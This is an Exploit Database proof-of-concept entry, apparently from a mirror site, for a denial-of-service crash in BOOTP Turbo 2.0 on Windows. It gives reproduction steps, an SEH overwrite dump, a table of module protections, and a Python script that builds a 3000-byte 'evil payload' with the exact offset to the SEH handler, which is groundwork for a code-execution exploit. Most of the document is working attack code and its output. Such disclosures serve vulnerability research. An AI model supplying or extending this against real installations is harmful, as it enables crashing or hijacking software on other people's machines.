BOOTP Turbo 2.0 – Denial of Service (SEH)(PoC)

• Exploit Database
• 119 阅读

• 作者： boku
  日期： 2020-01-23
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47955/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49

  # Exploit Title: BOOTP Turbo 2.0 - Denial of Service (SEH)(PoC) # Exploit Author: boku # Date: 2020-01-22 # Software Vendor: Wierd Solutions # Vendor Homepage: https://www.weird-solutions.com # Software Link: https://www.weird-solutions.com/download/products/bootpt_demo_IA32.exe # Version: BOOTP Turbo (x86) Version 2.0 # Tested On: Windows 10 Pro -- 10.0.18363 Build 18363 x86-based PC # Tested On: Windows 7 Enterprise SP1 -- build 7601 64-bit # Replicate Crash: #1) Download, Install, and Open BootP Turbo v2.0 for windows x86 #2) Go to Edit > Settings > Click the Detailed Logging Box #3) Run python script, open created file 'crash.txt' #4) Select-All > Copy All, from file #5) Paste buffer in the 'Log File' text-box, Click 'OK' #6) Close the 'Control Service' Pop-Up Window #7) Crash with SEH Overwrite   # SEH chain of main thread # AddressSE handler # 019CD254 43434343 # 42424242 *** CORRUPT ENTRY ***   # Loaded Application Modules #Rebase | SafeSEH | ASLR| NXCompat | Version, Modulename & Path #True | True| False |False | 4.7.3.0 [QtGui4.dll] (C:\Program Files\BOOTP Turbo\QtGui4.dll) #True | True| False |False | 4.7.3.0 [QtCore4.dll] (C:\Program Files\BOOTP Turbo\QtCore4.dll) #True | True| False |False | 10.00.30319.1 [MSVCP100.dll] (C:\Program Files\BOOTP Turbo\MSVCP100.dll) #True | True| False |False | 2.0 [bootptui.exe] (C:\Program Files\BOOTP Turbo\bootptui.exe) #True | True| False |False | 10.00.30319.1 [MSVCR100.dll] (C:\Program Files\BOOTP Turbo\MSVCR100.dll)   #!/usr/bin/python   offset = '\x41'*2196 nSEH = '\x42\x42\x42\x42' SEH = '\x43\x43\x43\x43' filler = '\x44'*(3000-len(offset+nSEH+SEH))   payload = offset+nSEH+SEH+filler   try: f=open("crash.txt","w") print("[+] Creating %s bytes evil payload." %len(payload)) f.write(payload) f.close() print("[+] File created!") except: print("File cannot be created.")